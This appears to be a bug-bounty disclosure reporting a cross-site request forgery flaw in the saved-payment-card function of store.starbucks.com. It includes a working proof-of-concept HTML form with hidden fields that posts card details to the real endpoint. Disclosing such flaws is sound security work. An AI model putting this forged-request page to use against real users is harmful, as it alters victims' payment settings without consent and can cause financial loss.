CSRF vulnerability in saving payment card on store.starbucks.com (COBilling -AddCreditCard)

How it was found

Hi,

I noticed a CSRF issue that associated with card saving. It is possible for to save card details and can be used for quick payments while purchasing. The result will be a remote attacker can trick users to use some other cards that may silently led to loss of money in which actully it is not for online shopping purpose cards. Mainly this may allow an attacker to change the card details of the online purchasing card of the victim to some important cards good scenario will be the attacker can make trick on family members itself.

<html>
  <body>
    <form action="https://store.starbucks.com/on/demandware.store/Sites-Starbucks-Site/default/COBilling-AddCreditCard" method="POST">
      <input type="hidden" name="dwfrm&#95;billing&#95;paymentMethods&#95;creditCard&#95;type" value="Visa" />
      <input type="hidden" name="dwfrm&#95;billing&#95;paymentMethods&#95;creditCard&#95;owner" value="helloworld" />
      <input type="hidden" name="dwfrm&#95;billing&#95;paymentMethods&#95;creditCard&#95;number" value="███████" />
      <input type="hidden" name="dwfrm&#95;billing&#95;paymentMethods&#95;creditCard&#95;month" value="10" />
      <input type="hidden" name="dwfrm&#95;billing&#95;paymentMethods&#95;creditCard&#95;year" value="2&#44;019" />
      <input type="hidden" name="dwfrm&#95;billing&#95;paymentMethods&#95;creditCard&#95;saveCard" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Critical level goes from Low to medium depending on the nature of the attacker to perform this attack.